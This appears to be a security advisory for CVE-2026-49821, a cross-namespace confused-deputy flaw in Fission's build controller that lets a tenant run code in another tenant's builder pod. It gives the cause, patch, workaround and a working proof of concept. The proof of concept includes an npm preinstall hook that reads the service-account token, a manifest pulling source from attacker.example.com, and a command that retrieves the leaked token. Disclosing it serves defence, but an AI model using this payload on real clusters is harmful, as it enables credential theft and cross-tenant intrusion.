CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration
A Fission user in one Kubernetes namespace could trick the build controller into running their code inside another tenant's builder pod and leaking that namespace's service-account token, giving the…
The problem
Fission's buildermgr controller accepted Package CRDs without checking that Package.spec.environment.namespace matched Package.metadata.namespace. Any user with packages.fission.io/create in their own namespace could set spec.environment.namespace to a victim namespace.
The controller used its high-privilege service account to fetch the Environment cross-namespace, then dispatched the build command into the victim namespace's builder pod. Build stdout is written verbatim into Package.status.buildlog, so code running inside that pod could read the fission-builder Bearer token from /var/run/secrets/kubernetes.io/serviceaccount/token and surface it to the attacker.
Proof of concept
A working proof-of-concept for CVE-2026-49821 in github.com/fission/fission, with the exact payload below.
# 1. Attacker creates a malicious npm package in their source archive.
# package.json in the source zip:
{
"name": "pwn",
"version": "1.0.0",
"scripts": {
"preinstall": "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
}
}
# 2. Attacker creates the cross-namespace Package (in namespace 'tenant-a',
# pointing spec.environment.namespace at the victim namespace 'tenant-b'):
apiVersion: fission.io/v1
kind: Package
metadata:
name: evil-pkg
namespace: tenant-a
spec:
environment:
name: node # a Node.js env that exists in tenant-b
namespace: tenant-b # <-- cross-namespace pivot; was never validated
source:
type: url
url: http://attacker.example.com/evil-src.zip
buildcmd: "npm install"
# 3. buildermgr fetches the Environment from tenant-b using the cluster-admin
# service account, dispatches 'npm install' into tenant-b's builder pod.
# The preinstall hook prints the fission-builder token.
# Token appears in:
kubectl get package evil-pkg -n tenant-a -o jsonpath='{.status.buildlog}'The root cause is missing authorization (CWE-862) combined with a confused-deputy pattern (CWE-441): buildermgr trusted the caller-supplied spec.environment.namespace field with no cross-namespace boundary check before performing privileged Kubernetes API calls on behalf of the Package author.
The patch adds a namespace equality check in both the admission webhook (pkg/webhook/package.go::Validate) and the controller itself (pkg/buildermgr/pkgwatcher.go::build and pkg/buildermgr/common.go::buildPackage). The controller-side check acts as defence-in-depth for clusters where the webhook is configured with failurePolicy: Ignore or bypassed by a stale cached object.
An empty spec.environment.namespace is still accepted and is defaulted to the Package's own namespace by the controllers.
The fix
Upgrade to Fission v1.24.0 (PR #3379, commit e2b9266). After upgrading, any Package with spec.environment.namespace set to a different namespace than metadata.namespace is rejected at admission. Review existing Package CRDs and remove cross-namespace environment references before upgrading.
If you cannot upgrade immediately, add a validating admission policy (or OPA/Kyverno rule) that enforces spec.environment.namespace == metadata.namespace || spec.environment.namespace == ''.
Reported by Sanket Sudake (@sanketsudake).
Related research
- high · 7.7CVE-2026-49822CVE-2026-49822: Fission KubernetesWatchTrigger Cross-Namespace Event Leakage
- high · 8.5CVE-2026-50570CVE-2026-50570: Fission Incomplete Capability Denylist Allows CAP_SYS_TIME Privilege Escalation
- high · 8.1Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection
- high · 7.7CVE-2026-49823CVE-2026-49823: Fission Cross-Namespace Package Read via Unvalidated PackageRef